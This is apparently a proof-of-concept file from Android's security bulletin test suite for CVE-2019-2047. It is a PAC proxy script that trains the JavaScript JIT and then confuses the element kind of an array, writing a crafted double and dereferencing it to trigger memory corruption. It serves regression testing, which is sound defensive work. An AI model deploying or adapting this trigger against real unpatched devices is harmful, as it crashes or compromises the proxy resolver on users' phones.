hostsidetests/securitybulletin/res/CVE-2019-2047.pac

function FindProxyForURL(url, host){
    for(var i = 0;i<0x10000;i++){
        change_elements_kind(x);
    }

    for(var i = 0;i<0x10000;i++){
        write_as_unboxed();
    }

    change_elements_kind(evil);

    write_as_unboxed();

    try{
        evil[0].x;
    }catch(e){
    }
    return "DIRECT";
}

function change_elements_kind(a){
    a[0] = Array;
}
function read_as_unboxed(){
    return evil[0];
}

function write_as_unboxed(){
    evil[0] = 2.37341197482723178190425716704E-308; //0x00111111 00111111
}

change_elements_kind({});

var map_manipulator = new Array(1.0,2.3);
map_manipulator.x = 7;
change_elements_kind(map_manipulator);

map_manipulator.x = {};

var evil = new Array(1.1,2.2);
evil.x = {};

var x = new Array({});